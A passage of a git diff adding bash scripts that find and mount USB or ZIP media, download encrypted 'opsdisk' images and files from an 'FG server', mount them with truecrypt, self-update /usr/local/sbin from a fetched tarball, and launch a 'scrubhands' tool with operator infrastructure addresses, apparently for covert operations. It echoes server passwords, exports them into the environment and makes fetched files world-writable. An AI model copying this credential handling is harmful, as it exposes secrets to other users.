$FGKEYAUTH == "none" ]; then + echo "Enter the *CURRENT* FG server password:" + read FGSRVPASS + echo "Ok, thanks - enter the next password so you can do other things while I copy the files" + fi + + # Only get the TC password if we need it + if [ $FGFRESHEN -eq 0 -a ! "$FGTCPASS" ] ; then + echo "Enter the *CURRENT* FG truecrypt password:" + read FGTCPASS + fi + + echo "GEN 3 is $FGGEN3" + #Update /usr/local/sbin IFF we are in FG mode, on gen3, and we aren't in -F mode and the user hasn't used -U + if [ $FG -gt 0 -a "$FGGEN3" -a "$DOUPGRADE" != "no" -a $FGFRESHEN -eq 0 ] ; then + #TODO verify we are gen 3!!!!! + # Check for ULS updates + cd ${TEMP} + + if [ $FGKEYAUTH == "none" ] ; then + echo "RUNNING: fg.py -l $FGUSER -p '${FGSRVPASS}' --userID ${OPUSER} -s $FGSRV --diskDIR -f uls_ver" + fg.py -l $FGUSER -p "${FGSRVPASS}" --userID ${OPUSER} -s $FGSRV --diskDIR -f uls_ver + else + echo "RUNNING fg.py -l $FGUSER -i ${FGKEYAUTH} --userID ${OPUSER} -s $FGSRV --diskDIR -f uls_ver" + fg.py -l $FGUSER -i ${FGKEYAUTH} --userID ${OPUSER} -s $FGSRV --diskDIR -f uls_ver + fi + + ULSLOCALVER=`ls /usr/local/sbin/uls_ver.* 2>&1 | perl -ne '$_=~/.*uls_ver\.([\d\w\.]+)/; print "$1";'` + + + ULSCURVER=`ls /home/black/tmp/fg/uls_ver.* 2>&1 | perl -ne '$_=~/.*uls_ver\.([\d\w\.]+)/; print "$1";'` + + #If the user asked for the RC and the RC version file exists + ULSRCVERFILE=`find /home/black/tmp/fg -iname '*uls_ver_rc.*'` + echo "ULSRCVERFILE is $ULSRCVERFILE" + if [ $ULSRC -gt 0 -a -e "${ULSRCVERFILE}" ]; then + ULSCURVER=`ls /home/black/tmp/fg/uls_ver_rc.* | perl -ne '$_=~/.*uls_ver_rc\.([\d\w\.]+)/; print "$1";'` + #OUT=`ls /home/black/tmp/fg/uls_ver_rc.*` + #echo "ls line is $OUT" + else # if we don't have an upgrade ver file on the server we are going to stop trying to use ulsrc + ULSRC=0 + fi + + echo "Checking /usr/local/sbin upgradables version number: $ULSCURVER (latest) $ULSLOCALVER (local copy)" + + if [[ "$ULSCURVER" > "$ULSLOCALVER" || $ULSRC -gt 0 ]] ; then + echo "Upgrading /usr/local/sbin" + ULSTARGET="uls_rel" + + if [ $ULSRC -gt 0 ] ; then + echo "****** GETTING ULS_RC and forcing upgrade **********" + ULSTARGET="uls_rc" + fi + + if [ $FGKEYAUTH == "none" ] ; then + fg.py -l $FGUSER -p "${FGSRVPASS}" --userID ${OPUSER} -s $FGSRV --diskDIR -f $ULSTARGET + else + fg.py -l $FGUSER -i ${FGKEYAUTH} --userID ${OPUSER} -s $FGSRV --diskDIR -f $ULSTARGET + fi + + ULSFETCHEDFILE=`find ${TEMP} -maxdepth 1 -type f -iname '*uls_r*'` + if [ -e "${ULSFETCHEDFILE}" ] ; then + FINDZIPCHSUMBEFORE=`cksum /usr/local/sbin/findzip` + TAROUT=`tar -xjvf $ULSFETCHEDFILE --strip-path 1 -C /usr/local/sbin` + echo "$TAROUT" | grep -v uls_ver | xargs -i basename {} | xargs -i chmod +x /usr/local/sbin/{} + echo "Updated and chmoded:" + echo "$TAROUT" + FINDZIPCHSUMAFTER=`cksum /usr/local/sbin/findzip` + rm -f /usr/local/sbin/uls_ver.* + mv $ULSFETCHEDFILE /tmp + #mv ${TEMP}/uls_ver.* /usr/local/sbin + echo "Touching /usr/local/sbin/uls_ver.$ULSCURVER" + `touch /usr/local/sbin/uls_ver.$ULSCURVER` + echo "/usr/local/sbin upgraded to version $ULSCURVER" + echo "findzip Chksum comparison" + echo "before: $FINDZIPCHSUMBEFORE" + echo "after: $FINDZIPCHSUMAFTER" + if [[ $FINDZIPCHSUMBEFORE != $FINDZIPCHSUMAFTER ]] ; then + echo "Upgraded findzip (this program), need to rerun this program!!!!!" + + if [ $ULSRC -gt 0 ] ; then + #note: sed is intentionally not using g for global to avoid removing -X options to -s + TMPARGVSTRING=`echo $ORIGARGVSTRING | sed 's#[ ]*-X##'` + ORIGARGVSTRING=`echo $TMPARGVSTRING` + echo "Removing -X from our re-execution of findzip" + + #echo "Touching ${TEMP}/uls_ver.999rc to prevent further upgrades" + #rm -f ${TEMP}/uls_ver.* + #touch ${TEMP}/uls_ver.999rc + fi + + echo "**** Running: findzip $ORIGARGVSTRING *****" + export -p FGSRVPASS=$FGSRVPASS + export -p FGTCPASS=$FGTCPASS + + exec findzip $ORIGARGVSTRING + echo "YOU SHOULDN'T SEE THIS MESSAGE (we just exec'd our script .....)" + exit + fi + fi + fi + elif [ "$DOUPGRADE" == "no" ]; then + echo "Skipping upgrade of /usr/local/sbin DOUPGRADE=${DOUPGRADE}" + elif [ $FG -gt 0 -a ! "$FGGEN3" -a "$DOUPGRADE" != "no" -a $FGFRESHEN -eq 0 ] ; then + echo "***********************************************************************************************************" + echo "WARNING!!!! WARNING!!!! You are attempting to run FG mode on < GEN 3, we won't be updating /usr/local/sbin!" + echo "It is suggested you ctrl-C now unless you *KNOW* what you are doing (hit return to continue...)" + echo "***********************************************************************************************************" + read blah + fi #if we are FGGEN3, do local upgrades + + echo "First getting user and shared files, then opsdisk" + + #Try to cd into our user directory, failing that make the directory and try again (this could be a NEW user who specified the -I option, in which case the directory won't be there yet) + cd $FGCURRENTLOC/${OPUSER} || mkdir $FGCURRENTLOC/${OPUSER} && cd $FGCURRENTLOC/${OPUSER} + if [ $FGKEYAUTH == "none" ] ; then + echo "RUNNING: fg.py -l $FGUSER -p '$FGSRVPASS' --userID ${OPUSER} -s $FGSRV --userDIR " + fg.py -l $FGUSER -p "${FGSRVPASS}" --userID ${OPUSER} -s $FGSRV --userDIR + if [ $FGFRESHEN -eq 0 ]; then + echo "Now getting infrastructure info using the above with -f (infra.txt)" + fg.py -l $FGUSER -p "${FGSRVPASS}" --userID ${OPUSER} -s $FGSRV --userDIR -f infra.txt + fi + else + echo "RUNNING: fg.py -l $FGUSER -i ${FGKEYAUTH} --userID ${OPUSER} -s $FGSRV --userDIR " + fg.py -l $FGUSER -i ${FGKEYAUTH} --userID ${OPUSER} -s $FGSRV --userDIR + if [ $FGFRESHEN -eq 0 ]; then + echo "Now getting infrastructure info using the above with -f (infra.txt)" + fg.py -l $FGUSER -i ${FGKEYAUTH} --userID ${OPUSER} -s $FGSRV --userDIR -f infra.txt + fi + fi + echo "chmoding files we just got a+rw" + chmod a+rw $FGCURRENTLOC/${OPUSER}/* + + cd $FGCURRENTLOC/shared + if [ $FGKEYAUTH == "none" ] ; then + echo "RUNNING: fg.py -l $FGUSER -p '$FGSRVPASS' --userID ${OPUSER} -s $FGSRV --sharedDIR " + fg.py -l $FGUSER -p "${FGSRVPASS}" --userID ${OPUSER} -s $FGSRV --sharedDIR + else + echo "RUNNING: fg.py -l $FGUSER -i ${FGKEYAUTH} --userID ${OPUSER} -s $FGSRV --sharedDIR " + fg.py -l $FGUSER -i ${FGKEYAUTH} --userID ${OPUSER} -s $FGSRV --sharedDIR + fi + echo "chmoding files we just got a+rw" + chmod a+rw $FGCURRENTLOC/shared/* + + echo "Here are your LOCAL files (if not there already, they will move to /current/fg after scrubhands):" + find $FGCURRENTLOC -type f + echo "" + + # If we are doing a full mz -f + if [ $FGFRESHEN -eq 0 ] ; then + + arr=$(echo $FGTYPE | tr "," "\n") + MNTLIST="" + + for FGDISK in $arr + do + [ $DEBUG ] && echo "DEBUG: Fetching a disk of $FGDISK" + + cd ${TEMP} + + if [ $FGKEYAUTH == "none" ] ; then + echo "RUNNING: fg.py -l $FGUSER -p '${FGSRVPASS}' --userID ${OPUSER} -s $FGSRV --diskDIR -f ^${FGDISK}" + fg.py -l $FGUSER -p "${FGSRVPASS}" --userID ${OPUSER} -s $FGSRV --diskDIR -f ^$FGDISK + else + echo "RUNNING: fg.py -l $FGUSER -i ${FGKEYAUTH} --userID ${OPUSER} -s $FGSRV --diskDIR -f ^${FGDISK}" + fg.py -l $FGUSER -i ${FGKEYAUTH} --userID ${OPUSER} -s $FGSRV --diskDIR -f ^$FGDISK + fi + + if [ `echo $FGDISK | perl -ne '$_=~/^win_/;print "$&"'` ] ; then MNTPNT="/share/down/zip"; + elif [ `echo $FGDISK | perl -ne '$_=~/^unix_/;print "$&"'` ] ; then MNTPNT="/mnt/zip"; + else + TMPVARWIN=`echo $FGDISK | perl -ne '$_=~/^(.*)_win/;print "$1"'` + TMPVARNIX=`echo $FGDISK | perl -ne '$_=~/^(.*)_unix/;print "$1"'` + if [ "${TMPVARWIN}" != "" ]; then MNTPNT="/share/down/$TMPVARWIN"; + elif [ "${TMPVARNIX}" != "" ]; then MNTPNT="/mnt/$TMPVARNIX"; + fi + fi + + if [ $MNTPNT == "" ]; then + MNTPNT="/mnt/unk" + echo "Couldn't determine where to mount this zip, going with $MNTPNT" + fi + + FETCHEDFILE=`find ${TEMP} -maxdepth 1 -type f | grep $FGDISK` + echo "Fetched file is $FETCHEDFILE" + if [ `echo $FETCHEDFILE | wc -w` -gt 1 ]; then + FETCHEDFILE=`echo $FETCHEDFILE | sed -r 's/[ \t\n]+/\n/g'` + echo "WARNING: Found multiple disks, possibly from a previous failed run of mz!" + echo "Which one would you like to attempt to mount as $MNTPNT?" + echo "$FETCHEDFILE" + echo "CHOOSE ONE (or ctrl-C to bail and fix yourself):" + + + read FETCHEDFILE + fi + + #If we didn't get a file of that type, go on to next disk + if [ "${FETCHEDFILE}" == "" ]; then echo "WARNING: We didn't get a disk file of type \"${FGDISK}\" (user specified)"; continue; fi + + #TODO handle case where there are multiple files for each match ie more than one win_rel (shouldn't happen) + # -- might happen in case of failed download, etc sitting in TMP + + #If the mnt point isn't there, make it + [[ -d ${MNTPNT} ]] || mkdir ${MNTPNT} + + MNTLIST="${MNTLIST} ${MNTPNT}" + + echo "RUNNING: truecrypt -t -p=\"\" -k \"${KEYFILE}\" -m ro --fs-options=fmask=0113,dmask=0002 --protect-hidden=no ${FETCHEDFILE} ${MNTPNT}" + truecrypt -t -p="${FGTCPASS}" -k "${KEYFILE}" -m ro --fs-options=fmask=0113,dmask=0002 --protect-hidden=no ${FETCHEDFILE} ${MNTPNT} + + done + + #For now, unfortunate duplication of code: + SUCCESS=$? + # echo "SUCCESS=$SUCCESS" + if [ ${SUCCESS} -eq 0 ] ; then RESULT=0; fi + # this used to be ls -alrtd ${MNTLIST}/* ${TEMP}/localCopy/${OPUSER} ${TEMP}/localCopy/shared + [ ${SUCCESS} -eq 0 ] && echo "ls -al ${MNTLIST} ${TEMP}/localCopy/${OPUSER} ${TEMP}/localCopy/shared" + [ ${SUCCESS} -eq 0 ] && echo + [ ${SUCCESS} -eq 0 ] && ls -al ${MNTLIST} ${TEMP}/localCopy/${OPUSER} ${TEMP}/localCopy/shared + [ ${SUCCESS} -gt 0 ] && echo + fi # FG disk mounting case + + fi + + # + # scrubands uses $MNTPNT, and THISMNT is used by legacy code if findzip is not + # sourced + # + export MNTPNT=${MNTPNT} + THISMNT=${MNTPNT} + + if [ "$SHOPTS" ] ; then + #Fix up our SHOPTS line to properly exec scrubhands + SHOPTS=`echo "scrubhands $SHOPTS"` + fi + + # See if we have any useful pastables + #PASTELIST=`find ${TEMP} -iname '*pastable*'` + PASTELIST=`find ${TEMP} -iname '*\.txt' | xargs egrep -H 'scrubhands \-|mz \-' | sort -u | sed 's#:#:\n#' | sed 's#/home/black/tmp/fg/localCopy/#-Match from pastable file #g'` + INFRALIST=`find ${TEMP} -iname '*infra.txt*' | xargs egrep 'LOCAL:' | sed 's#LOCAL:[ ]*##'` + + #If we found pastables with scrubhands lines, offer to use those + #also check that we haven't scrubbed yet (does /current exist) and aren't just doing a -F + if [ "$PASTELIST" -a $FG -gt 0 -a $FGFRESHEN -eq 0 -a ! -e /current ]; then + echo "" + echo "oooooooooooo00000000000000000000000000000000oooooooooooo" + #If we were invoked with -s give those opts to user + if [ "$SHOPTS" ]; then + echo "Scrubhands lines from how you invoked THIS program: " + echo "$SHOPTS" + echo "----================================================----" + fi + + echo "Scrubhands pastables found. The required scrubhands -t option will be added for you." + echo "$PASTELIST" + + + if [ "$INFRALIST" ]; then + echo "----================================================----" + echo "Infrastructure found (edit scrubhands line above if desired)" + echo " MAKE SURE NO ONE ELSE IS USING YOUR ADDRESSES! " + echo "$INFRALIST" + fi + echo "oooooooooooo00000000000000000000000000000000oooooooooooo" + if [ "`echo $PASTLIST | sed -e 's,.*mz.*-s,scrubhands,g' -e 's,.*scrubhands -t,scrubhands,g'`" = "$SHOPTS" ] ; then + echo We compared these, and options are identical. Using the last one. + echo " " $PASTELIST + echo " " $SHOPTS + else + echo "PASTE YOUR CHOICE TO START SCRUBHANDS OR TYPE IN YOUR OWN (CTRL-C to ABORT SCRUB):" + read SHLINE + fi + #If we don't have required -t for FG mode, add it + GREPRESULT=`echo $SHLINE | grep ' -t '` + if [ ! "$GREPRESULT" ]; then + TMPSHLINE=`echo $SHLINE | sed 's#scrubhands #scrubhands -t #'` + SHLINE=$TMPSHLINE + fi + fi # if [ "$PASTELIST" ]; + + if [ "$SHLINE" ]; then + SHEXEC=`echo $SHLINE` + elif [ "$SHOPTS" ]; then + SHEXEC=`echo $SHOPTS` + fi + + # If -s was used (or we had a scrubhands line given to us during op setup), we are going to update /usr/local/sbin and then call scrubhands for initial op setup + if [ "$SHEXEC" ]; then + echo -e "\n\n\aAbout to run: $SHEXEC" + [ $DEBUG ] && unset DEBUG && echo -e "\n\n\aWARNING: Just unset DEBUG before calling scrubhands since that might not be what you intended\n\n" + sleep 5 + exec $SHEXEC + fi + + # + # Return 0 if even one encrypted partion is mounted + # + if [ $TRUECRYPT -gt 0 ] ; then + truecrypt --list > /dev/null 2>&1 + RESULT=$? + fi + return $RESULT +} + + +# +# if we are not called as mz,uz or findzip, exit. This allows this script to +# be sourced so other scripts can have the findzipdev() functionality +# +if [ ! "`echo $0 | egrep \"uz$|findzip|mz$\"`" ] ; then +# exit 1 + return +fi +if [ "`echo $0 | egrep \"uz|unfindzip\"`" ] ; then + UNMOUNT=1 +fi + + +# Since we were not sourced then, we define our own PROG, VER and usage() +PROG=`basename ${0}` + +usagetext=" +Usage: $PROG [-t] [-u] [-q] [-f] [-F] [-p] [-d disk_type] [-O timeout] [-i identityfile] [-I user] [-s SCRUBHANDS OPTS] + + -t disable use of TRUECRYPT + -u Attempts to unmount the device $PROG most recently mounted, removing mount directory + -q suppress informational and error message + -O FG ssh session timeout - how long to wait on a copy before bailing + -d Mount FG disk type (multiple allowed, comma seperated). \"PROMPT\" will give you a list of possible disk types. + EXAMPLE: -d unix_rel,win_rc (unix_rel is default) -or- -d PROMPT + -f FG / thumb free (-f) option will copy the appropriate disk files locally and unpack them. + into /mnt/zip + -F FG freshen: copies your files (but not the opsdisk) to $FGCURRENTLOC or $TEMP/fg/localCopy (pre-scrub). + -U SKIP the upgrade process (should only be done when you are testing your own /usr/local/sbin changes) + -X Select the RC for /usr/local/sbin updates. Currently only supported in FG mode + -p Use an SCP password instead of shared key for scp and sftp sessions (you will be prompted for it) + -i Use an alternate ssh key/identity file + -I Specify a user id when copying user data from server ( does not have to match the -I option used with -s ) + EXAMPLE: mz -I 12345 -d unix_rel,win_rel (pull down files waiting including those with pastables and mount disks) + -s Mount FG ops disk in /mnt/zip (and other locations), then start scrubhands with these options ( -f is inferred) + NOTE: -s option MUST BE LAST, arguments following this option will be passed to scrubhands! + EXAMPLES: mz -s -I 12345 -P MYPROJ -S 12345678901234 1.2.3.4/0/1 + mz -d unix_rel,win_rel -s -I 12345 -P MYPROJ -S 12345678901234 1.2.3.4/0/1 + +findzip tries to find a removable USB drive, using recent log entries +in /var/log/messages to find the right device. If it cannot, it +proceeds to try and find a ZIP drive. It can mount up to three distinct +devices in this manner. + +findzip when used with any FG options will attempt to run scrubhands for you IF +you specify -s -OR- pastables are found with scrubhands lines. You can abort +this attempt and be left with mounted disks and copied files. + +In FG mode, to manually set the FG server IP, set the FGSRV variable to that IP, e.g.: + FGSRV=10.1.1.1 findzip -f + +If it finds one not already mounted, it is mounted as $MNTPNT1 or +$MNTPNT2 or $MNTPNT3, whichever is first available. It will export MNTZIP1 - MNTZIP3 +and MNTZIP + +" + +usage() { + [ "$1" = "exit" ] && EXIT=1 && shift + if [ "$1" = "-h" ] ; then + shift + [ "$ERRSTR" ] || ERRSTR="\nNOTE: \a THE NEW WAY REQUIRES NO UU*CODE NOR ANY E=\"ratpreargs\"!!!!" + echo -e "$usagetext" + fi + # We want -v output to be just two digits, so scrubver is #.# + # and suitever can have whole #.#.#.# in it. + if [ "$1" = "-v" ] ; then + shift + fi + echo "$PROG version $VER" + ERRSTR="${*}" + if [ "$ERRSTR" ] ; then + echo -e "\a${ERRSTR}" + fi + [ "$EXIT" ] && exit +} # end usage + + +MYDIR=`dirname $0` +if [ ! -e "$MYDIR/unfindzip" ] ; then + ln -sf findzip $MYDIR/unfindzip + ln -sf findzip $MYDIR/mz + ln -sf findzip $MYDIR/uz +fi + +QUIET="" +TRUECRYPT=1 +ORIGARGVSTRING=$* +while getopts UhvqutfFpXO:d:i:I:s: optvar ; do + [ "$DEBUG" ] && echo "Looking at $optvar, line is $*" + case "$optvar" in + v|h) usage exit -$optvar ;; + q) QUIET="#QUIET " ;; + u) UNMOUNT=1 ;; + t) TRUECRYPT=0 ;; + f) echo "got -f" + FG=1 ;; + F) FG=1 && FGFRESHEN=1 ;; + p) FGKEYAUTH="none" ;; + O) if [ $OPTARG -gt 0 ] ; then + TIMEOUT=$OPTARG + echo "Setting ssh timeout to $TIMEOUT" + else + usage exit "-O argument not recognized: $OPTARG (should be numeric)" + fi ;; + i) if [ -e $OPTARG ] ; then + FGKEYAUTH=$OPTARG + else + usage exit "keyfile $OPTARG does not exist!" + fi ;; + d) FG=1 + # Check for -d that is followed by something not starting with - (should be an argument) + if [ "$OPTARG" = "PROMPT" ]; then + FGPROMPTTYPE=1 + else + FGTYPE=$OPTARG + fi + echo $FGTYPE | grep -q unix_rc && ULSRC=1 + ;; + I) if [ $OPTARG -gt 0 ] ; then + FG=1 + FGALTUSER=$OPTARG + echo "Using $FGALTUSER when copying files from server" + else + usage exit "-I argument not recognized: $OPTARG (should be numeric) " + fi ;; + s) #echo "s case optvar: $optvar 1 is $1" + FG=1 + #Parse out everything following the -s as a scrubhands argument (getopts won't handle this) + SHOPTS=`echo $* | perl -ne '$_=~/\s?\-s (.*)/; print "-t $1";'` + + #Get the OPUSER string from the scrubhands arguments passed in + OPUSER=`echo $SHOPTS | perl -ne '$_=~/(\-I)\s+(\d+)/;print $2'` + ;; + U) echo "SKIPPING upgrade of /usr/local/bin" + DOUPGRADE="no" + ;; + X) ULSRC=1 + ;; + *) usage exit "Argument not recognized: $optvar (double check usage, maybe you forgot an argument to an option!!)" ;; + esac +done +shift `expr $OPTIND - 1` + +[ "$DEBUG" ] && echo "DEBUG: OPTS are FG: $FG OPUSER: $OPUSER FGTYPE: $FGTYPE FGPROMPTTPYE: $FGPROMPTTYPE SHOPTS: $SHOPTS" + +ROOT=`id -u` + +if [ $ROOT != 0 ] ; then + [ "$QUIET" ] || echo You must be root 1>&2 + exit 1 +fi + +findzipdev +RESULT=$? + + +if [ $UNMOUNT -gt 0 ] ; then + rmdir ${MNTPNTBASE}* 2>/dev/null + for mnt in $ALLMNTS ; do + if [ -d $mnt ] ; then + MORE="" + mount | grep -q " on ${mnt} " && MORE="This device is still mounted" + [ "$MORE" ] && echo "$MORE" + echo ls -arlt $mnt 1>&2 + ls -arlt $mnt 1>&2 + else + echo $mnt unmounted and removed + fi + done + exit $RESULT +fi + +if [ "$THISMNT" -a -d $THISMNT ] ; then + # We export MNTPNT as the most recently mounted one + export MNTPNT=$THISMNT +fi + +echo +df -h ${MNTPNTBASE}* | grep zip ; df -h ${MNTPNTBASE}* | grep Avail +exit $RESULT + diff --git a/Linux/bin/findzip.notc b/Linux/bin/findzip.notc new file mode 100755 index 0000000..b6622fc --- /dev/null +++ b/Linux/bin/findzip.notc @@ -0,0 +1,330 @@ +#!/bin/bash +VER=1.0.2.4 +## 19 JUL 2006 +# shell script to find ZIP or USB (or some future) media for scrubhands +# (or operator) to use for tarball/data transfer. +## +export MNTPNT1="/mnt/zip" +export MNTPNT2="/mnt/zip2" +export MNTPNT3="/mnt/zip3" + +findzipdev() { + # Make /dev/sd[ab]4 block devices with mknod + for L in a b c d e f g h; do + if [ ! -b /dev/sd${L}4 ] ; then + mknod /dev/sd${L}4 b 8 4 2>/dev/null + chown root:disk /dev/sd${L}4 2>/dev/null + chmod 660 /dev/sd${L}4 2>/dev/null + fi + done + + # We find some device to mount on ${THISMNT} if nothing there already. + # By "some" we mean first a thumb drive if it is there, or a ZIP disk + # if we can find one. + + + export MNTPNT1="/mnt/zip" + export MNTPNT2="/mnt/zip2" + export MNTPNT3="/mnt/zip3" + export ALLMNTS="$MNTPNT1 $MNTPNT2 $MNTPNT3" + export LASTMNT=`echo $ALLMNTS | sed "s/.* //g"` + + # Our /mnt/zip* devices + DEV1=`mount | grep " on $MNTPNT1 " | head -1 | sed "s/ .*//g"` + DEV2=`mount | grep " on $MNTPNT2 " | head -1 | sed "s/ .*//g"` + DEV3=`mount | grep " on $MNTPNT3 " | head -1 | sed "s/ .*//g"` + + # Other non /mnt/zip* devices + OTHDEV1=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -1 | sed "s/ .*//g"` + OTHDEV2=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -2 | tail -1 | sed "s/ .*//g"` + [ "$OTHDEV2" = "$OTHDEV1" ] && OTHDEV2="" + OTHDEV3=`mount | grep -v " on $MNTPNT1" | grep "^/" | head -3 | tail -1 | sed "s/ .*//g"` + [ "$OTHDEV3" = "$OTHDEV2" -o "$OTHDEV3" = "$OTHDEV1" ] && OTHDEV3="" + MNT1=`mount | grep " on $MNTPNT1 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + MNT2=`mount | grep " on $MNTPNT2 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + MNT3=`mount | grep " on $MNTPNT3 " | head -1 | sed "s/.* on //g" | sed "s/ .*//g"` + [ "$DEBUG" ] && echo DBG::::DEV1=$DEV1 DEV2=$DEV2 DEV3=$DEV3 OTHDEV1=$OTHDEV1 OTHDEV2=$OTHDEV2 OTHDEV3=$OTHDEV3 + if [ $UNMOUNT == 0 -a "$DEV1" -a "$DEV2" -a "$DEV3" ] ; then + # Do nothing if third/last ${MNTPNTx} already mounted + if [ ! "$QUIET" ] ; then + echo "MAX of three mounts already done with findzip/mz" + mount | grep $MNTPNT1 + fi +return 1 + exit 1 + fi + for TRYMNT in $ALLMNTS LAST ; do + [ "$DEBUG" ] && echo DBG::::DBG TRYMNT=$TRYMNT LASTMNT=$LASTMNT + mount | grep -q " on $TRYMNT " && continue +# else + FIRSTUSBDEV=`mount | grep " on $MNTPNT1 "` + SECONDUSBDEV=`mount | grep " on $MNTPNT2 "` + THIRDUSBDEV=`mount | grep " on $MNTPNT3 "` + [ "$SECONDUSBDEV" = "$FIRSTUSBDEV" ] && SECONDUSBDEV="" + [ "$DEBUG" ] && echo DBG::::FIRSTUSBDEV=$FIRSTUSBDEV SECONDUSBDEV=$SECONDUSBDEV THIRDUSBDEV=$THIRDUSBDEV + if [ $UNMOUNT -gt 0 ] ; then + if [ "$THIRDUSBDEV" ] ; then + umount $DEV3 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + test $RESULT == 0 && return 0 + umount $DEV3 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + return $RESULT + elif [ "$SECONDUSBDEV" ] ; then + umount $DEV2 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + test $RESULT == 0 && return 0 + umount $DEV2 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + return $RESULT + elif [ "$FIRSTUSBDEV" ] ; then + umount $DEV1 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + test $RESULT == 0 && return 0 + umount $DEV1 + RESULT=$? + rmdir $ALLMNTS 2>/dev/null + return $RESULT + else + # OK, we're good nothing mounted + return 0 + fi + fi + # ASSERT: We are mounting UNMOUNT==0 + [ "$DEBUG" ] && echo -e "DBG:::: Here with:\nMNTPNT1=$MNTPNT1 MNTPNT2=$MNTPNT2 MNTPNT3=$MNTPNT3\nFIRSTUSBDEV=$FIRSTUSBDEV\nSECOND=$SECONDUSBDEV THIRD=$THIRDUSBDEV\nUNMOUNT=$UNMOUNT" + + # look for mountable USB device with tarball first +# USBDEVS=`grep -i "Attached scsi removable disk" /var/log/messages | sed "s/.* disk //g" | sed "s/ .*//g" | sort -u` + USBDEVS=`egrep "sd[abcdefgh]: sd[abcdefgh][0-9]" /var/log/messages | sed "s/.* sd.: sd\([abcdefgh]\)[0-9].*/sd\1/g" | uniq` + [ "$DEBUG" ] && echo DBG:::: egrep \"sd[abcdefgh]: sd[abcdefgh][0-9]\" /var/log/messages \| sed \"s/.* sd.: sd\\\([abcdefgh]\\\)[0-9].*/sd\\1/g\" \| uniq + [ "$DEBUG" ] && echo DBG:::: "USBDEVS=$USBDEVS" + export THISMNT=$MNTPNT1 + for USBDEV in $USBDEVS ZIPONLY ; do + [ "$DEBUG" ] && echo DBG:::: "USBDEV=$USBDEV USBDEV2=$USBDEV2" + if [ ! "$USBDEV" = "ZIPONLY" ] ; then + [ "$DEBUG" ] && echo DBG:::: 0: USBDEV=$USBDEV USBMNT=$USBMNT + USBMNT=`grep "${USBDEV}: $USBDEV" /var/log/messages | tail -1 | awk '{print \$7}'` + [ "$USBMNT" ] || USBMNT=${USBDEV}1 + USBDEV=/dev/$USBMNT + [ "$DEBUG" ] && echo DBG:::: 1: USBDEV=$USBDEV USBMNT=$USBMNT USBDEV2=$USBDEV2 FIRSTUSBDEV=$FIRSTUSBDEV + [ "$USBDEV" = "$OTHDEV1" -o "$USBDEV" = "$OTHDEV2" -o "$USBDEV" = "$OTHDEV3" ] && continue + [ "$USBDEV" = "$DEV1" -o "$USBDEV" = "$DEV2" -o "$USBDEV" = "$DEV3" ] && continue + fi + [ "$DEV1" ] && THISMNT=$MNTPNT2 + [ "$DEV2" ] && THISMNT=$MNTPNT3 + # Make $THISMNT dir if needed + if [ ! -d $THISMNT ] ; then + if [ -e $THISMNT ] ; then + usage exit "FATAL ERROR: ${THISMNT} should be a directory: `ls -al ${THISMNT}`" + fi + mkdir -p $THISMNT 2>/dev/null + fi + for dev in $USBDEV LAST ; do + [ "$dev" = "LAST" ] && break + [ "$dev" = "$DEV1" -o "$dev" = "$DEV2" -o "$dev" = "$DEV3" ] && continue + [ "$dev" = "$OTHDEV1" -o "$dev" = "$OTHDEV2" -o "$dev" = "$OTHDEV3" ] && continue + [ "$DEBUG" ] && echo DBG:::: trying mount $dev $THISMNT + mount $dev ${THISMNT} 2>/dev/null && break + done + if [ "$dev" = "LAST" ] ; then + for ltr in a b c d e f g h ; do + for dev in /dev/sd${ltr}4 /dev/sd${ltr}1 /dev/sd${ltr} /dev/hd${ltr}4 /dev/hd${ltr}1 /dev/hd${ltr} LAST ; do + [ "$dev" = "LAST" ] && break + [ "$dev" = "$OTHDEV1" -o "$dev" = "$OTHDEV2" -o "$dev" = "$OTHDEV3" ] && continue + [ "$dev" = "$DEV1" -o "$dev" = "$DEV2" -o "$dev" = "$DEV3" ] && continue + [ "$DEBUG" ] && echo DBG:::: second trying mount $dev $THISMNT + mount $dev ${THISMNT} 2>/dev/null && break + done + [ "$dev" = "LAST" ] || break + done + fi + [ "$DEBUG" ] && echo DBG:::: dev=$dev + if [ "$dev" = "LAST" ] ; then + rmdir $THISMNT 2>/dev/null + continue + fi + mount | grep -q " on ${THISMNT} " && break + done + # Return OK (0) if mounted + break + done + [ "$DEBUG" ] && echo DBG:::: DBG: THISMNT=$THISMNT FIRSTUSBDEV=$FIRSTUSBDEV SECOND=$SECONDUSBDEV THIRD=$THIRDUSBDEV + export MNTPNT=$MNT1 + [ "$MNT2" ] && export MNTPNT=$MNT2 + [ "$MNT3" ] && export MNTPNT=$MNT3 + mount | grep -q " on ${THISMNT} " && return 0 + # Return err if not + return 1 +} + +# Here, if we see that we were called as something other than "findzip" +# We just exit. This allows other scripts to source this one to get +# findzipdev(). +# +UNMOUNT=0 +if [ ! "`echo $0 | egrep \"uz$|findzip|mz$\"`" ] ; then +# exit 1 + return +fi +if [ "`echo $0 | egrep \"uz|unfindzip\"`" ] ; then + UNMOUNT=1 +fi + +# Since we were not sourced then, we define our own PROG, VER and usage() +PROG=`basename ${0}` + +usagetext=" +Usage: $PROG [-u] [-q] + +findzip tries to find a removable USB drive, using recent log entries +in /var/log/messages to find the right device. If it cannot, it +proceeds to try and find a ZIP drive. It can mount up to three distinct +devices in this manner. + +Run with the -u option (or alternatively as the softlink unfindzip), +it attempts to unmount the device it most recently mounted. When it +unmounts the device, the mount point directory is also removed. + +If it finds one not already mounted, it is mounted as $MNTPNT1 or +$MNTPNT2 or $MNTPNT3, whichever is first available. Then, this +is output to stdout for those that are currently mounted, and the +final line will be the most recently mounted mount point. + + export MNTPNT1=/mnt/zip + export MNTPNT2=/mnt/zip2 + export MNTPNT3=/mnt/zip3 + export MNTPNT=(varies) + +The quiet (-q) option will suppress informational and error messages +to stderr, so you will see only the appropriate lines as above. In +non-quiet mode, you will see a \"ls -alrt\" output for each mounted +device. + +$PROG returns 0 on success, 1 otherwise. + +You must be root to run $PROG. + +$PROG is a bash script, and other scripts can source $PROG to +import (but not run) the function findzipdev. See $PROG source for +more detail. When the script runs findzipdev() it will then have +the MNTPNT* definitions for those that are mounted. +" + +usage() { + [ "$1" = "exit" ] && EXIT=1 && shift + if [ 